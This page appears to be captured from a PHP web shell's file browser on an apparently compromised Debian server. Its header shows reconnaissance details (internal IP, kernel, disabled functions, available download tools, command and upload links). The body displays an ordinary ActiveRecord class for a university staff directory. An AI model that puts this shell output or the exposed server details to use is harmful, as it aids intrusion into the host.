|
Server IP : 10.2.73.233 / Your IP : 216.73.216.223 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ifk/web/protected/Common/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
class KUserRecord extends TActiveRecord {
const TABLE = 'ifk_users';
const TYPE_PRACOWNIK = 1;
const TYPE_DOKTORANT = 2;
const TYPE_GOSCINNY = 4;
const TYPE_PERSONEL = 8;
const TYPE_EMERYTOWANY = 16;
const TYPE_BIBLIOTEKA = 32;
const TYPE_IN_MEMORIAM = 99;
public static $_user_titles = array(
5 => " ",
10 => "mgr",
20 => "dr",
30 => "dr hab.",
35 => "doc.",
40 => "dr hab., prof. UW",
50 => "prof. dr hab."
);
public static $_user_name_cache = null;
public static $_user_id_cache = null;
private $_id;
private $_email = "";
private $_email_visible = false;
private $_password = "";
private $_active = true;
private $_suspended = false;
private $_added_date = "";
private $_first_name = "";
private $_second_name = "";
private $_title_id = 0;
private $_photo_id = 0;
private $_role = 1;
private $_type = 1;
private $_image;
private $_phone_no = "";
private $_mobile_phone_no = "";
private $_fax_no = "" ;
private $_address = "";
private $_interests = "";
private $_status = "";
private $_duties;
private $_classes;
private $_biogram = "";
public $visible;
public function getId() {
return $this->_id;
}
public function setId($value) {
$this->_id = TPropertyValue::ensureInteger($value);
}
public function getType() {
return $this->_type;
}
public function setType($value) {
$this->_type = TPropertyValue::ensureInteger($value);
}
public function getEmail() {
return $this->_email;
}
public function setEmail($value) {
$this->_email = TPropertyValue::ensureString($value);
}
public function getEmail_visible() {
return $this->_email_visible;
}
public function setEmail_visible($value) {
$this->_email_visible = TPropertyValue::ensureBoolean($value);
}
public function getPassword() {
return $this->_password;
}
public function setPassword($value) {
$this->_password = TPropertyValue::ensureString($value);
}
public function getActive() {
return $this->_active;
}
public function setActive($value) {
$this->_active = TPropertyValue::ensureBoolean($value);
}
public function getSuspended() {
return $this->_suspended;
}
public function setSuspended($value) {
$this->_suspended = TPropertyValue::ensureBoolean($value);
}
public function getAdded_date() {
return $this->_added_date;
}
public function setAdded_date($value) {
$this->_added_date = TPropertyValue::ensureString($value);
}
public function getFirst_name() {
return $this->_first_name;
}
public function setFirst_name($value) {
$this->_first_name = trim(TPropertyValue::ensureString($value));
}
public function getSecond_name() {
return $this->_second_name;
}
public function setSecond_name($value) {
$this->_second_name = trim(TPropertyValue::ensureString($value));
}
public function getTitle_id() {
return $this->_title_id;
}
public function setTitle_id($value) {
$this->_title_id = TPropertyValue::ensureInteger($value);
}
public function getPhoto_id() {
return $this->_photo_id;
}
public function setPhoto_id($value) {
$this->_photo_id = TPropertyValue::ensureInteger($value);
}
public function getRole() {
return $this->_role;
}
public function setRole($value) {
$this->_role = TPropertyValue::ensureInteger($value);
}
public function getPhone_no() {
return $this->_phone_no;
}
public function setPhone_no($value) {
$this->_phone_no = TPropertyValue::ensureString($value);
}
public function getMobile_phone_no() {
return $this->_mobile_phone_no;
}
public function setMobile_phone_no($value) {
$this->_mobile_phone_no = TPropertyValue::ensureString($value);
}
public function getFax_no() {
return $this->_fax_no;
}
public function setFax_no($value) {
$this->_fax_no = TPropertyValue::ensureString($value);
}
public function getAddress() {
return $this->_address;
}
public function setAddress($value) {
$this->_address = TPropertyValue::ensureString($value);
}
public function getInterests() {
return $this->_interests;
}
public function setInterests($value) {
$this->_interests = TPropertyValue::ensureString($value);
}
public function getBiogram() {
return $this->_biogram;
}
public function setBiogram($value) {
$this->_biogram = TPropertyValue::ensureString($value);
}
public function getStatus() {
return $this->_status;
}
public function setStatus($value) {
$this->_status = TPropertyValue::ensureString($value);
}
public function getImage() {
if (is_null($this->photo_id) && ! ($this->_image instanceof KImage)) {
$this->_image = new KImage();
} elseif (! ($this->_image instanceof KImage)) {
$this->_image = new KImage();
$this->_image->load($this->photo_id);
}
return $this->_image;
}
public static function getAll() {
$crit = new TActiveRecordCriteria();
$crit->Condition = "active = true";
$crit->OrdersBy['second_name'] = 'asc';
return self::finder()->findAll($crit);
}
public static function getTitles() {
return self::$_user_titles;
}
public function getName() {
return $this->First_name . " " . $this->Second_name;
}
public function getTitle() {
if (! is_null($this->title_id))
return self::$_user_titles[$this->title_id];
else
return null;
}
public function getNameAndTitle() {
if ($this->Title_id == 5) {
return $this->Name;
} elseif ($this->Title_id == 40) {
return "dr hab. " . $this->Name . ", prof. UW";
} else {
return $this->Title . " " . $this->Name;
}
}
public static function getUserFromCacheByName($name) {
if (is_null(self::$_user_name_cache)) {
$r = KUserRecord::finder()->findAll("visible = 1");
self::$_user_name_cache = array();
foreach ($r as $u) {
self::$_user_name_cache[$u->first_name." ".$u->second_name] = $u;
self::$_user_id_cache[$u->id] = $u;
}
}
if (!array_key_exists($name, self::$_user_name_cache)) {
$u = KUserRecord::finder()->findBySQL("select * from ifk_users where CONCAT(first_name, \" \", second_name) = :name", array(
"name" => $name
));
self::$_user_name_cache[$name] = $u;
self::$_user_id_cache[$u->id] = $u;
}
return KUserRecord::$_user_name_cache[$name];
}
public static function getUserFromCacheById($id) {
if (is_null(self::$_user_id_cache)) {
$r = KUserRecord::finder()->findAll("visible = 1");
self::$_user_id_cache = array();
foreach ($r as $u) {
self::$_user_name_cache[$u->first_name." ".$u->second_name] = $u;
self::$_user_id_cache[$u->id] = $u;
}
}
if (!array_key_exists($id, self::$_user_id_cache)) {
$u = KUserRecord::finder()->findByPk($id);
self::$_user_name_cache[$u->name] = $u;
self::$_user_id_cache[$u->id] = $u;
}
return KUserRecord::$_user_id_cache[$id];
}
public static function parseAuthorEntry($entry) {
if (strncasecmp($entry, '@@', 2) === 0) {
$id = TPropertyValue::ensureInteger(substr($entry, 2));
return self::getUserFromCacheById($id);
} else
return null;
}
public static function parseName($name, $anchor = null) {
// list($fname, $sname) = explode(' ',$name);
// $person = KUserRecord::finder()->findByfirst_Name_and_second_Name($fname, $sname);
//echo "x";
/*$person = KUserRecord::finder()->findBySQL("select * from ifk_users where CONCAT(first_name, \" \", second_name) = :name", array(
"name" => $name
));*/
$person = self::getUserFromCacheByName($name);
if ($person instanceof KUserRecord) {
if (is_null($anchor)) {
$anchor = $person->NameAndTitle;
}
return "<a href='" . self::getUrl($person->id) . "'>" . $anchor . "</a>";
} else
if (is_null($anchor))
return $name;
else
return $anchor;
}
public function getDuties() {
if (is_null($this->_duties))
$this->_duties = KDuty::finder()->findAllbyUser_id($this->id);
return $this->_duties;
}
public function resetDuties() {
$this->_duties = null;
}
public function getClasses() {
if (is_null($this->_classes)) {
$this->_classes = KScheduleEntry::finder()->findAllBySQL("select se.id, se.block, se.class_id, cc.group_id as notes, group_concat(concat(se.block,';;',se.place,';;',se.notes) separator '!!!!') as blocks from ifk_scheduleentries as se join ifk_classgivers as cg on cg.schedule_id = se.id join ifk_classcatalog as cc on cc.id = se.class_id where cg.name = '@@" . $this->id . "' group by se.id, se.block, se.class_id, cc.group_id order by notes, block");
}
return $this->_classes;
}
public static function getUrl($uid = null) {
if (is_null($uid))
return Prado::getApplication()->Service->constructUrl('Front.PersonDetails', array(
'uid' => $this->id, 'name'=>KPage::urlify($this->first_name." ".$this->second_name)
));
else {
$u = self::getUserFromCacheById($uid);
return Prado::getApplication()->Service->constructUrl('Front.PersonDetails', array(
'uid' => $u->id, 'name'=>KPage::urlify($u->first_name." ".$u->second_name)
));
}
}
public static function finder($className = __CLASS__) {
return parent::finder($className);
}
public function delete() {
$finder = KAuthor::finder();
$finder->deleteByName('@@' . $this->getId());
$finder = KClassGiver::finder();
$finder->deleteByName('@@' . $this->getId());
$finder = KClassMaterialFile::finder();
$finder->deleteByuser_id($this->getId());
$finder = KDuty::finder();
$finder->deleteByuser_id($this->getId());
$this->Image->delete();
parent::delete();
}
}
?>